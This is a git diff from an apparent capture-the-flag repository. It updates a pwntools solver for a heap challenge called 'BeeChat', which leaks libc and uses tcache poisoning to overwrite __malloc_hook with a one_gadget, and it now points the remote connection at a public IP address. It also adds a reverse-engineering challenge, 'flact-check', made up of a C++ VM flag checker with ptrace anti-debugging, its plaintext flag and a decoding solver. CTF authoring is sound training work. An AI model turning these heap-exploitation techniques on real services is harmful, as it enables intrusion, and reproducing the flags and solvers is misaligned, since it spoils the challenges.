diff --git a/Binary Exploitation/BeeChat/src/solve.py b/Binary Exploitation/BeeChat/src/solve.py index 1d2c6b1..2a12659 100755 --- a/Binary Exploitation/BeeChat/src/solve.py +++ b/Binary Exploitation/BeeChat/src/solve.py @@ -1,116 +1,116 @@ -#!/usr/bin/env python3 - -from pwn import * - -elf = ELF("./chall") -libc = ELF("./libc.so.6") -ld = ELF("./ld-linux-x86-64.so.2") - -context.binary = elf -context.log_level = "info" -context.terminal = ["tmux", "splitw", "-h", "-p", "65"] - -# --- Exploit Configuration --- -LEAK_CHUNK_SIZE = 0x90 -POISON_CHUNK_SIZE = 0x18 - -# --- GDB Script --- -gdb_script = """ - b *main - continue - """.format(**locals()) - -# --- Process/Remote Connection --- -def start(argv=[], *a, **kw): - if args.GDB: - return gdb.debug([ld.path, elf.path] + argv, gdbscript=gdb_script, *a, **kw) - elif args.REMOTE: - return remote("localhost", 31346) - else: - return process([ld.path, elf.path] + argv, *a, **kw) - -# --- Helper Functions for New Menu --- -def send_choice(choice): - r.sendlineafter(b"> ", str(choice).encode()) - -def create_user(name): - send_choice(1) - r.sendlineafter(b"Username: ", name) - -def switch_user(user_id): - send_choice(2) - r.sendlineafter(b"Enter User ID to switch to: ", str(user_id).encode()) - -def send_message(to_id, size, content): - send_choice(3) - r.sendlineafter(b"Send to user ID: ", str(to_id).encode()) - r.sendlineafter(b"Size of message: ", str(size).encode()) - r.sendafter(b"Content: ", content.ljust(size, b'\0')) - -def edit_message(msg_id, new_content): - send_choice(4) - r.sendlineafter(b"Message ID to edit: ", str(msg_id).encode()) - r.sendafter(b"New content: ", new_content) - -def broadcast_message(msg_id): - send_choice(5) - r.sendlineafter(b"Message ID to broadcast: ", str(msg_id).encode()) - -def edit_broadcast_message(bcast_idx, new_content): - send_choice(6) - r.sendlineafter(b"Broadcast Index to edit: ", str(bcast_idx).encode()) - r.sendafter(b"New content for broadcast message: ", new_content) - -def view_broadcasts(): - send_choice(7) - -def view_conversation(partner_id): - send_choice(8) - r.sendlineafter(b"View conversation with user ID: ", str(partner_id).encode()) - - -def main(): - global r - r = start() - - create_user(b"UserA") - create_user(b"UserB") - - # LEAK LIBC ADDR - switch_user(0) - for i in range(8): - send_message(1, LEAK_CHUNK_SIZE, f"libc_leak_{i}".encode()) - - broadcast_message(7) - - for i in range(8): - edit_message(i, b"A" * (LEAK_CHUNK_SIZE + 0x10)) - - view_broadcasts() - r.recvuntil(b"Original Msg ID: 7") - r.recvuntil(b"Content: ") - leak_addr = u64(r.recvline().strip().ljust(8, b'\x00')) - libc.address = leak_addr - (libc.symbols['__malloc_hook'] + 0x70) - - log.success(f"LIBC : {hex(libc.address)}") - - # EXPLOIT : TCACHE POISONING - one_gadget = libc.address + 0x4f302 - send_message(1, POISON_CHUNK_SIZE, b"poison_A") - send_message(1, POISON_CHUNK_SIZE, b"poison_B") - - broadcast_message(9) - edit_message(9, b"B" * (POISON_CHUNK_SIZE + 0x10)) - - edit_broadcast_message(1, p64(libc.sym['__malloc_hook'])) - - send_message(1, POISON_CHUNK_SIZE, b"wasted") - send_message(1, POISON_CHUNK_SIZE, p64(one_gadget)) - - r.sendlineafter(b"> ", b"1") - r.sendline(b"cat flag.txt") - - r.interactive() - -if __name__ == "__main__": - main() +#!/usr/bin/env python3 + +from pwn import * + +elf = ELF("./chall") +libc = ELF("./libc.so.6") +ld = ELF("./ld-linux-x86-64.so.2") + +context.binary = elf +context.log_level = "info" +context.terminal = ["tmux", "splitw", "-h", "-p", "65"] + +# --- Exploit Configuration --- +LEAK_CHUNK_SIZE = 0x90 +POISON_CHUNK_SIZE = 0x18 + +# --- GDB Script --- +gdb_script = """ + b *main + continue + """.format(**locals()) + +# --- Process/Remote Connection --- +def start(argv=[], *a, **kw): + if args.GDB: + return gdb.debug([ld.path, elf.path] + argv, gdbscript=gdb_script, *a, **kw) + elif args.REMOTE: + return remote("31.97.187.222", 31346) + else: + return process([ld.path, elf.path] + argv, *a, **kw) + +# --- Helper Functions for New Menu --- +def send_choice(choice): + r.sendlineafter(b"> ", str(choice).encode()) + +def create_user(name): + send_choice(1) + r.sendlineafter(b"Username: ", name) + +def switch_user(user_id): + send_choice(2) + r.sendlineafter(b"Enter User ID to switch to: ", str(user_id).encode()) + +def send_message(to_id, size, content): + send_choice(3) + r.sendlineafter(b"Send to user ID: ", str(to_id).encode()) + r.sendlineafter(b"Size of message: ", str(size).encode()) + r.sendafter(b"Content: ", content.ljust(size, b'\0')) + +def edit_message(msg_id, new_content): + send_choice(4) + r.sendlineafter(b"Message ID to edit: ", str(msg_id).encode()) + r.sendafter(b"New content: ", new_content) + +def broadcast_message(msg_id): + send_choice(5) + r.sendlineafter(b"Message ID to broadcast: ", str(msg_id).encode()) + +def edit_broadcast_message(bcast_idx, new_content): + send_choice(6) + r.sendlineafter(b"Broadcast Index to edit: ", str(bcast_idx).encode()) + r.sendafter(b"New content for broadcast message: ", new_content) + +def view_broadcasts(): + send_choice(7) + +def view_conversation(partner_id): + send_choice(8) + r.sendlineafter(b"View conversation with user ID: ", str(partner_id).encode()) + + +def main(): + global r + r = start() + + create_user(b"UserA") + create_user(b"UserB") + + # LEAK LIBC ADDR + switch_user(0) + for i in range(8): + send_message(1, LEAK_CHUNK_SIZE, f"libc_leak_{i}".encode()) + + broadcast_message(7) + + for i in range(8): + edit_message(i, b"A" * (LEAK_CHUNK_SIZE + 0x10)) + + view_broadcasts() + r.recvuntil(b"Original Msg ID: 7") + r.recvuntil(b"Content: ") + leak_addr = u64(r.recvline().strip().ljust(8, b'\x00')) + libc.address = leak_addr - (libc.symbols['__malloc_hook'] + 0x70) + + log.success(f"LIBC : {hex(libc.address)}") + + # EXPLOIT : TCACHE POISONING + one_gadget = libc.address + 0x4f302 + send_message(1, POISON_CHUNK_SIZE, b"poison_A") + send_message(1, POISON_CHUNK_SIZE, b"poison_B") + + broadcast_message(9) + edit_message(9, b"B" * (POISON_CHUNK_SIZE + 0x10)) + + edit_broadcast_message(1, p64(libc.sym['__malloc_hook'])) + + send_message(1, POISON_CHUNK_SIZE, b"wasted") + send_message(1, POISON_CHUNK_SIZE, p64(one_gadget)) + + r.sendlineafter(b"> ", b"1") + r.sendline(b"cat flag.txt") + + r.interactive() + +if __name__ == "__main__": + main() diff --git a/Reverse Engineering/flact-check/challenge.yml b/Reverse Engineering/flact-check/challenge.yml new file mode 100644 index 0000000..9b595a1 --- /dev/null +++ b/Reverse Engineering/flact-check/challenge.yml @@ -0,0 +1,29 @@ +name: "Flact Check" +category: Reverse Engineering +description: |- + Yep this is a simple flag checker, no doubt + + Author: Lyo + +##### DON'T CHANGE +value: 500 +type: dynamic +extra: + initial: 500 + decay: 30 + minimum: 100 +##### DON'T CHANGE + +flags: + - BEECTF{vM_0p5_kEEp_enc0d3d_byt35_f10w1ng_un71l_V1r7u4l_cmp_un10ck5_h1dd3n_5ignal_gu4rd14n5_57andby4} + +tags: + - hard + +files: + - dist/flact-check + - dist/dependencies.txt + +state: hidden + +version: "0.1" diff --git a/Reverse Engineering/flact-check/dist/dependencies.txt b/Reverse Engineering/flact-check/dist/dependencies.txt new file mode 100644 index 0000000..414386d --- /dev/null +++ b/Reverse Engineering/flact-check/dist/dependencies.txt @@ -0,0 +1,15 @@ +Flact-Check Challenge Dependencies +================================= + +Runtime libraries (shared): + - FLTK 1.3 stack: libfltk, libfltk_forms, libfltk_images, libfltk_gl + - X11 stack: libX11, libXext, libXt, libxcb (plus common X extensions) + - Fonts: libfontconfig, libfreetype, libexpat + - Image/Compression: libpng, libjpeg, libz + - Runtime: libstdc++, libgcc_s + +Tested on: + - Ubuntu 22.04 (x86_64) with default desktop packages + +Notes: + - Requires an X11-capable environment (desktop session or X server) diff --git a/Reverse Engineering/flact-check/dist/flact-check b/Reverse Engineering/flact-check/dist/flact-check new file mode 100755 index 0000000..41e980b Binary files /dev/null and b/Reverse Engineering/flact-check/dist/flact-check differ diff --git a/Reverse Engineering/flact-check/src/CMakeLists.txt b/Reverse Engineering/flact-check/src/CMakeLists.txt new file mode 100644 index 0000000..6680be8 --- /dev/null +++ b/Reverse Engineering/flact-check/src/CMakeLists.txt @@ -0,0 +1,13 @@ +cmake_minimum_required(VERSION 3.16) + +project(FlactCheck LANGUAGES CXX) + +set(CMAKE_CXX_STANDARD 17) +set(CMAKE_CXX_STANDARD_REQUIRED ON) +set(CMAKE_CXX_EXTENSIONS OFF) + +find_package(FLTK REQUIRED) +include_directories(${FLTK_INCLUDE_DIR}) + +add_executable(flact-check src/main.cpp) +target_link_libraries(flact-check PRIVATE ${FLTK_LIBRARIES}) diff --git a/Reverse Engineering/flact-check/src/build/flact-check b/Reverse Engineering/flact-check/src/build/flact-check new file mode 100755 index 0000000..41e980b Binary files /dev/null and b/Reverse Engineering/flact-check/src/build/flact-check differ diff --git a/Reverse Engineering/flact-check/src/solve.py b/Reverse Engineering/flact-check/src/solve.py new file mode 100755 index 0000000..3775623 --- /dev/null +++ b/Reverse Engineering/flact-check/src/solve.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python3 + +import re +from pathlib import Path + + +def load_program(): + source = Path(__file__).resolve().parent / "src" / "main.cpp" + text = source.read_text() + match = re.search(r"kProgram\s*=\s*\{([^}]*)\};", text, re.S) + if not match: + raise RuntimeError("Unable to locate VM program in main.cpp") + hex_bytes = re.findall(r"0x[0-9a-fA-F]+", match.group(1)) + return [int(value, 16) for value in hex_bytes] + + +def decode(program): + flag_bytes = [] + idx = 0 + length = len(program) + while idx < length: + seg_len = program[idx] + idx += 1 + acc = 0 + end = idx + seg_len + while idx < end: + opcode = program[idx] + idx += 1 + if opcode == 0x10: # MOV immediate + acc = program[idx] + idx += 1 + elif opcode == 0x11: # ADD immediate + acc = (acc + program[idx]) & 0xFF + idx += 1 + elif opcode == 0x12: # SUB immediate + acc = (acc - program[idx]) & 0xFF + idx += 1 + elif opcode == 0x13: # XOR immediate + acc ^= program[idx] + idx += 1 + elif opcode == 0x20: # CMP input (no operand) + continue + else: + raise ValueError(f"Unknown opcode {opcode:#x}") + flag_bytes.append(acc) + return bytes(flag_bytes) + + +def main(): + program = load_program() + flag = decode(program).decode() + print(flag) + + +if __name__ == "__main__": + main() diff --git a/Reverse Engineering/flact-check/src/src/main.cpp b/Reverse Engineering/flact-check/src/src/main.cpp new file mode 100644 index 0000000..14a5a78 --- /dev/null +++ b/Reverse Engineering/flact-check/src/src/main.cpp @@ -0,0 +1,343 @@ +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +namespace { + +enum : unsigned char { + OP_MOV_IMM = 0x10, + OP_ADD_IMM = 0x11, + OP_SUB_IMM = 0x12, + OP_XOR_IMM = 0x13, + OP_CMP_INPUT = 0x20, +}; + +class FlagVm { + public: + static constexpr std::size_t kFlagLength = 100; + + FlagVm() { Reset(); } + + void Reset() { + pc_offset_ = 0; + progress_ = 0; + } + + std::size_t progress() const { return progress_; } + + bool Execute(char input) { + if (progress_ >= kFlagLength) { + return false; + } + + if (pc_offset_ >= kProgram.size()) { + return false; + } + + const std::size_t segment_start = pc_offset_; + const unsigned char segment_len = kProgram[pc_offset_++]; + if (segment_len == 0 || + pc_offset_ + segment_len > kProgram.size()) { + return false; + } + + std::size_t cursor = pc_offset_; + const std::size_t segment_end = pc_offset_ + segment_len; + unsigned char acc = 0; + bool cmp_result = false; + + while (cursor < segment_end) { + const unsigned char opcode = kProgram[cursor++]; + switch (opcode) { + case OP_MOV_IMM: + if (cursor >= segment_end) return false; + acc = kProgram[cursor++]; + break; + case OP_ADD_IMM: + if (cursor >= segment_end) return false; + acc = static_cast( + (acc + kProgram[cursor++]) & 0xFFu); + break; + case OP_SUB_IMM: + if (cursor >= segment_end) return false; + acc = static_cast( + (acc - kProgram[cursor++]) & 0xFFu); + break; + case OP_XOR_IMM: + if (cursor >= segment_end) return false; + acc = static_cast( + acc ^ kProgram[cursor++]); + break; + case OP_CMP_INPUT: + cmp_result = (acc == static_cast(input)); + break; + default: + return false; + } + } + + if (cmp_result) { + pc_offset_ = segment_end; + ++progress_; + return true; + } + pc_offset_ = segment_start; + return false; + } + + static constexpr std::array kProgram = { + 0x07, 0x10, 0x3f, 0x12, 0x8f, 0x13, 0xf2, 0x20, 0x07, 0x10, 0xac, 0x11, 0xbd, 0x13, 0x2c, 0x20, + 0x07, 0x10, 0xd8, 0x12, 0x44, 0x13, 0xd1, 0x20, 0x07, 0x10, 0x00, 0x12, 0xc8, 0x13, 0x7b, 0x20, + 0x07, 0x10, 0x97, 0x12, 0x6e, 0x13, 0x7d, 0x20, 0x07, 0x10, 0xc5, 0x12, 0x44, 0x13, 0xc7, 0x20, + 0x07, 0x10, 0x83, 0x11, 0x7e, 0x13, 0x7a, 0x20, 0x07, 0x10, 0x29, 0x12, 0xfa, 0x13, 0x59, 0x20, + 0x07, 0x10, 0x34, 0x12, 0xd1, 0x13, 0x2e, 0x20, 0x07, 0x10, 0xc9, 0x12, 0xcf, 0x13, 0xa5, 0x20, + 0x07, 0x10, 0x58, 0x12, 0x3a, 0x13, 0x2e, 0x20, 0x07, 0x10, 0xfc, 0x12, 0x30, 0x13, 0xbc, 0x20, + 0x07, 0x10, 0x6f, 0x12, 0x6f, 0x13, 0x35, 0x20, 0x07, 0x10, 0x75, 0x11, 0xe6, 0x13, 0x04, 0x20, + 0x07, 0x10, 0x52, 0x12, 0x4a, 0x13, 0x63, 0x20, 0x07, 0x10, 0x0b, 0x12, 0x89, 0x13, 0xc7, 0x20, + 0x07, 0x10, 0x21, 0x11, 0x65, 0x13, 0xc3, 0x20, 0x07, 0x10, 0x33, 0x12, 0x92, 0x13, 0xd1, 0x20, + 0x07, 0x10, 0x0f, 0x12, 0x65, 0x13, 0xf5, 0x20, 0x07, 0x10, 0x10, 0x12, 0x1d, 0x13, 0x96, 0x20, + 0x07, 0x10, 0xe3, 0x12, 0x71, 0x13, 0x1c, 0x20, 0x07, 0x10, 0xe5, 0x12, 0xc3, 0x13, 0x41, 0x20, + 0x07, 0x10, 0x03, 0x12, 0x37, 0x13, 0xfc, 0x20, 0x07, 0x10, 0x3f, 0x11, 0x87, 0x13, 0xa2, 0x20, + 0x07, 0x10, 0x38, 0x11, 0xa5, 0x13, 0xee, 0x20, 0x07, 0x10, 0xb0, 0x12, 0xa3, 0x13, 0x69, 0x20, + 0x07, 0x10, 0x4c, 0x11, 0xf2, 0x13, 0x61, 0x20, 0x07, 0x10, 0x5b, 0x12, 0xa6, 0x13, 0xd7, 0x20, + 0x07, 0x10, 0x28, 0x11, 0x6d, 0x13, 0xec, 0x20, 0x07, 0x10, 0x83, 0x11, 0xf9, 0x13, 0x08, 0x20, + 0x07, 0x10, 0xdc, 0x11, 0xf9, 0x13, 0xe6, 0x20, 0x07, 0x10, 0x1f, 0x11, 0x5d, 0x13, 0x49, 0x20, + 0x07, 0x10, 0xd4, 0x11, 0xe3, 0x13, 0xe8, 0x20, 0x07, 0x10, 0xff, 0x11, 0xf8, 0x13, 0x91, 0x20, + 0x07, 0x10, 0x82, 0x11, 0x5c, 0x13, 0xef, 0x20, 0x07, 0x10, 0x29, 0x11, 0x38, 0x13, 0x51, 0x20, + 0x07, 0x10, 0x52, 0x11, 0x32, 0x13, 0xf3, 0x20, 0x07, 0x10, 0x98, 0x11, 0xc9, 0x13, 0x50, 0x20, + 0x07, 0x10, 0xb2, 0x11, 0x4a, 0x13, 0x92, 0x20, 0x07, 0x10, 0xe3, 0x11, 0xf1, 0x13, 0xb3, 0x20, + 0x07, 0x10, 0xa3, 0x12, 0x0b, 0x13, 0xc7, 0x20, 0x07, 0x10, 0x67, 0x12, 0x86, 0x13, 0x94, 0x20, + 0x07, 0x10, 0x3f, 0x11, 0xcf, 0x13, 0x60, 0x20, 0x07, 0x10, 0x86, 0x11, 0xe7, 0x13, 0x5a, 0x20, + 0x07, 0x10, 0x98, 0x11, 0x2c, 0x13, 0xf5, 0x20, 0x07, 0x10, 0xe0, 0x11, 0x66, 0x13, 0x2a, 0x20, + 0x07, 0x10, 0xa5, 0x12, 0xe4, 0x13, 0x9e, 0x20, 0x07, 0x10, 0xce, 0x12, 0xbd, 0x13, 0x47, 0x20, + 0x07, 0x10, 0x54, 0x11, 0x53, 0x13, 0x96, 0x20, 0x07, 0x10, 0x26, 0x11, 0x45, 0x13, 0x19, 0x20, + 0x07, 0x10, 0x4d, 0x12, 0xf4, 0x13, 0x6e, 0x20, 0x07, 0x10, 0x6a, 0x12, 0x9f, 0x13, 0xbe, 0x20, + 0x07, 0x10, 0xc5, 0x12, 0x5c, 0x13, 0x5d, 0x20, 0x07, 0x10, 0x6e, 0x12, 0x8a, 0x13, 0x88, 0x20, + 0x07, 0x10, 0x83, 0x11, 0x7c, 0x13, 0xa0, 0x20, 0x07, 0x10, 0xfc, 0x11, 0xe3, 0x13, 0xbc, 0x20, + 0x07, 0x10, 0x98, 0x12, 0x5c, 0x13, 0x51, 0x20, 0x07, 0x10, 0x04, 0x11, 0x3f, 0x13, 0x33, 0x20, + 0x07, 0x10, 0x8c, 0x11, 0xec, 0x13, 0x27, 0x20, 0x07, 0x10, 0xf5, 0x12, 0x02, 0x13, 0x86, 0x20, + 0x07, 0x10, 0xee, 0x11, 0x8c, 0x13, 0x14, 0x20, 0x07, 0x10, 0xcb, 0x11, 0x21, 0x13, 0xdd, 0x20, + 0x07, 0x10, 0x72, 0x11, 0x74, 0x13, 0xd6, 0x20, 0x07, 0x10, 0x3e, 0x11, 0x12, 0x13, 0x33, 0x20, + 0x07, 0x10, 0x6f, 0x12, 0xce, 0x13, 0xca, 0x20, 0x07, 0x10, 0xee, 0x12, 0x61, 0x13, 0xb8, 0x20, + 0x07, 0x10, 0x70, 0x11, 0xb0, 0x13, 0x7f, 0x20, 0x07, 0x10, 0x17, 0x12, 0x95, 0x13, 0xea, 0x20, + 0x07, 0x10, 0x4c, 0x11, 0xc8, 0x13, 0x25, 0x20, 0x07, 0x10, 0x5e, 0x12, 0x10, 0x13, 0x2a, 0x20, + 0x07, 0x10, 0xd0, 0x12, 0x4d, 0x13, 0xe7, 0x20, 0x07, 0x10, 0x42, 0x11, 0x6f, 0x13, 0x82, 0x20, + 0x07, 0x10, 0x27, 0x11, 0x77, 0x13, 0xf0, 0x20, 0x07, 0x10, 0x84, 0x11, 0xcb, 0x13, 0x10, 0x20, + 0x07, 0x10, 0xb4, 0x11, 0xa9, 0x13, 0x68, 0x20, 0x07, 0x10, 0x9f, 0x11, 0x0c, 0x13, 0xc2, 0x20, + 0x07, 0x10, 0xa3, 0x12, 0x74, 0x13, 0x48, 0x20, 0x07, 0x10, 0x40, 0x12, 0x61, 0x13, 0xb1, 0x20, + 0x07, 0x10, 0x34, 0x11, 0xff, 0x13, 0x52, 0x20, 0x07, 0x10, 0xff, 0x11, 0x08, 0x13, 0x6b, 0x20, + 0x07, 0x10, 0x68, 0x11, 0x4d, 0x13, 0xea, 0x20, 0x07, 0x10, 0xa9, 0x11, 0xa6, 0x13, 0x28, 0x20, + 0x07, 0x10, 0x14, 0x11, 0xd3, 0x13, 0x92, 0x20, 0x07, 0x10, 0x7e, 0x12, 0x1a, 0x13, 0x50, 0x20, + 0x07, 0x10, 0x1e, 0x11, 0x18, 0x13, 0x44, 0x20, 0x07, 0x10, 0xa9, 0x11, 0x81, 0x13, 0x4e, 0x20, + 0x07, 0x10, 0x9a, 0x12, 0xc2, 0x13, 0xe9, 0x20, 0x07, 0x10, 0xaf, 0x12, 0xed, 0x13, 0xf6, 0x20, + 0x07, 0x10, 0xe1, 0x11, 0x0a, 0x13, 0x85, 0x20, 0x07, 0x10, 0x84, 0x11, 0x81, 0x13, 0x30, 0x20, + 0x07, 0x10, 0x65, 0x12, 0xd1, 0x13, 0xcb, 0x20, 0x07, 0x10, 0x70, 0x11, 0x8f, 0x13, 0xca, 0x20, + 0x07, 0x10, 0x8b, 0x11, 0x0b, 0x13, 0xa1, 0x20, 0x07, 0x10, 0xa5, 0x11, 0x79, 0x13, 0x7f, 0x20, + 0x07, 0x10, 0x39, 0x12, 0xe0, 0x13, 0x37, 0x20, 0x07, 0x10, 0x8f, 0x11, 0x46, 0x13, 0xb1, 0x20, + 0x07, 0x10, 0xbc, 0x11, 0x17, 0x13, 0xb1, 0x20, 0x07, 0x10, 0xd2, 0x11, 0x3b, 0x13, 0x74, 0x20, + 0x07, 0x10, 0x66, 0x12, 0x74, 0x13, 0xc6, 0x20, 0x07, 0x10, 0xd6, 0x11, 0xb6, 0x13, 0xf1, 0x20, + }; + + std::size_t pc_offset_ = 0; + std::size_t progress_ = 0; +}; + +bool DebuggerDetected() { + const pid_t target = getpid(); + const pid_t child = fork(); + if (child == -1) { + return false; + } + + if (child == 0) { + if (ptrace(PTRACE_ATTACH, target, nullptr, nullptr) == 0) { + int wait_status = 0; + waitpid(target, &wait_status, 0); + ptrace(PTRACE_DETACH, target, nullptr, nullptr); + _exit(0); + } + if (errno == EPERM) { + _exit(0); + } + _exit(1); + } + + int status = 0; + waitpid(child, &status, 0); + return WIFEXITED(status) && WEXITSTATUS(status) == 1; +} + +class Indicator : public Fl_Widget { + public: + Indicator(int X, int Y, int W, int H) + : Fl_Widget(X, Y, W, H), color_(fl_rgb_color(90, 93, 102)) {} + + void SetColor(Fl_Color c) { + if (color_ != c) { + color_ = c; + redraw(); + } + } + + void Reset() { + SetColor(fl_rgb_color(90, 93, 102)); + } + + protected: + void draw() override { + fl_push_clip(x(), y(), w(), h()); + fl_color(fl_rgb_color(30, 31, 33)); + fl_rectf(x(), y(), w(), h()); + + fl_color(color_); + fl_draw_box(FL_ROUNDED_BOX, x() + 6, y() + 6, w() - 12, h() - 12, color_); + + fl_pop_clip(); + } + + private: + Fl_Color color_; +}; + +class FlactWindow : public Fl_Window { + public: + FlactWindow(int W, int H, const char* title) + : Fl_Window(W, H, title), + indicator_(new Indicator(40, 70, 120, 120)), + input_field_(new Fl_Input(200, 90, 120, 40)), + check_button_(new Fl_Button(200, 140, 120, 40, "Check")), + status_box_(new Fl_Box(200, 200, 210, 24)) { + color(fl_rgb_color(24, 25, 28)); + Fl::background(24, 25, 28); + Fl::background2(24, 25, 28); + Fl::foreground(236, 237, 239); + + auto* banner = + new Fl_Box(20, 20, W - 40, 32, "flact-check monitor"); + banner->labelfont(FL_HELVETICA_BOLD); + banner->labelsize(18); + banner->labelcolor(fl_rgb_color(236, 237, 239)); + banner->align(FL_ALIGN_LEFT | FL_ALIGN_INSIDE); + banner->box(FL_NO_BOX); + + indicator_->box(FL_NO_BOX); + + input_field_->box(FL_ROUNDED_BOX); + input_field_->color(fl_rgb_color(53, 55, 60)); + input_field_->textsize(20); + input_field_->textcolor(fl_rgb_color(236, 237, 239)); + input_field_->selection_color(fl_rgb_color(97, 218, 251)); + input_field_->align(FL_ALIGN_INSIDE | FL_ALIGN_CENTER); + input_field_->when(FL_WHEN_ENTER_KEY_ALWAYS); + input_field_->callback(InputCallback, this); + + check_button_->box(FL_ROUNDED_BOX); + check_button_->color(fl_rgb_color(88, 101, 242)); + check_button_->labelfont(FL_HELVETICA_BOLD); + check_button_->labelcolor(fl_rgb_color(246, 248, 250)); + check_button_->callback(ButtonCallback, this); + + status_box_->box(FL_NO_BOX); + status_box_->labelsize(14); + status_box_->labelcolor(fl_rgb_color(200, 201, 204)); + status_box_->align(FL_ALIGN_INSIDE | FL_ALIGN_LEFT); + status_box_->label(""); + + end(); + + resizable(this); + size_range(420, 260); + + // Leave status empty until the first interaction. + } + + private: + static void InputCallback(Fl_Widget* widget, void* data) { + auto* self = static_cast(data); + self->HandleCheck(); + } + + static void ButtonCallback(Fl_Widget* widget, void* data) { + auto* self = static_cast(data); + self->HandleCheck(); + } + + void HandleCheck() { + std::string input_text = input_field_->value(); + if (input_text.empty()) { + return; + } + + input_field_->value(""); + + if (input_text.size() != 1) { + indicator_->SetColor(fl_rgb_color(219, 58, 81)); + vm_.Reset(); + UpdateStatus(); + return; + } + + const char provided = input_text[0]; + if (vm_.Execute(provided)) { + indicator_->SetColor(fl_rgb_color(67, 181, 129)); + UpdateStatus(); + + if (vm_.progress() == FlagVm::kFlagLength) { + vm_.Reset(); + indicator_->Reset(); + status_box_->label(""); + status_box_->redraw(); + } + } else { + indicator_->SetColor(fl_rgb_color(219, 58, 81)); + vm_.Reset(); + UpdateStatus(); + } + } + + void UpdateStatus() { + if (vm_.progress() == 0) { + status_box_->label(""); + status_box_->redraw(); + return; + } + + char buffer[64]; + std::snprintf(buffer, sizeof(buffer), "Progress: %zu / %zu", + vm_.progress(), FlagVm::kFlagLength); + status_box_->label(buffer); + status_box_->redraw(); + } + FlagVm vm_; + Indicator* indicator_; + Fl_Input* input_field_; + Fl_Button* check_button_; + Fl_Box* status_box_; +}; + +} // namespace + +int main(int argc, char** argv) { + if (DebuggerDetected()) { + std::fprintf(stderr, "Debugger presence detected. Terminating.\n"); + return 1; + } + + FlactWindow window(460, 320, "Flact-Check"); + window.show(argc, argv); + return Fl::run(); +}